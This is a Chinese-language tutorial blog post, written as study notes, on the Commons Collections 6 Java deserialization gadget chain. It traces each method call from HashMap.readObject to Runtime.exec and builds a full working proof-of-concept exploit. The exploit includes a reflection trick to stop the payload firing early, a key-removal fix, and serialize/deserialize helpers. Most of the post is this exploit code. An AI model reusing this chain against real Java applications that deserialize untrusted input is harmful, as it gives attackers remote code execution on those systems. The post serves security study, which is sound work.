本文主要是介绍CommonCollections6链分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
本文参考b站白日梦组长仅做笔记记录,完全跟着他复现,大家可以参考他的视频学习。
Gadget分析
因为只看了cc1可以说cc6利用的是cc1的前半部分,一直到LazyMap.decorate
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
能走到LazyMap其实主要是LazyMap的get方法调用了factory.transform
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
然后再看哪里调用了get方法,发现TiedMapEntry的getValue调用了get方法,只要控制map为LazyMap就可以调用LazyMap.get方法
/*** Gets the value of this entry direct from the map.* * @return the value*/public Object getValue() {return map.get(key);}
然后还发现TiedMapEntry的hashCode调用了getValue,getValue里面调用了map.get方法,这样链子就通了。
/*** Gets a hashCode compatible with the equals method.* <p>* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}* * @return a suitable hash code*/public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }
这个时候能联想到URLDNS链,HashMap中的readObject调用了hash方法
putVal(hash(key), key, value, false, false);
hash方法又调用了hashCode
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
我们传入的key为TiedMapEntry就可以调用TiedMapEntry的hashCode方法,所以Gadget就出来了
Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
poc编写
前半部分用的都是cc1的链
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry可以接收两个参数,一个map一个key。
public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}
public Object getValue() {return map.get(key);}
我们要调用LazyMap.get,所以map要传LazyMap,key随意得到
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
然后我们要调用这个TiedMapEntry,先写一个HashMap
HashMap<Object, Object> map2 = new HashMap<>();
最后是要调用hash方法
putVal(hash(key), key, value, false, false);
hash方法调用了那个hashCode
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
我们是要调用TiedMapEntry.hashCode,所以我们要给key赋值,value随意
所以现在的poc为
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demodd");
这个时候会遇到一个问题,就是执行poc也会执行calc.exe。然后我们可以想一下为什么,这就回到了URLDNS那条链
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
执行map2.put的时候会调用hashMap的put方法也会执行 putVal,这样就把咱们的流程走完了,所以我们现在要做的就是不让他执行这个put方法。执行这个put方法其实是一定的,这里我们不能组织,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要时不让他正确执行然后我们后面再把这个地方修改为正确就好。
所以我们可以修改
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
这里是传了chainedTransformer,我们可以把他修改为别的东西,对这条链执行没有影响的
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
ConstantTransformer需要接收一个参数,随便赋值就可以。
然后我们怎么把这个改回去呢,我们可以看看LazyMap.decorate
public static Map decorate(Map map, Factory factory) {return new LazyMap(map, factory);}
第二个参数是调用了factory,跟进一下
protected final Transformer factory;
是一个protected,所以我们只能通过反射修改他的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
现在的poc为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonCollections6 {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demo");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,chainedTransformer);
// serialize(map2);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
先序列化再反序列化发现并不能弹出计算器,原因是在执行反序列化的时候map里面已经有Key了,我们可以通过反序列化跟进一下看一下,在map2.put(tiedMapEntry,“Demodd”);这个地方下断点(由于不太会调试所以详细记录下)
单击hash
在这能发现执行了map.put
所以我们要在反序列化之前移除这个key
lazyMap.remove("Demodd");
总poc为
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonCollections6 {public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"Demo");lazyMap.remove("Demodd");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap,chainedTransformer);
// serialize(map2);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}
这篇关于CommonCollections6链分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!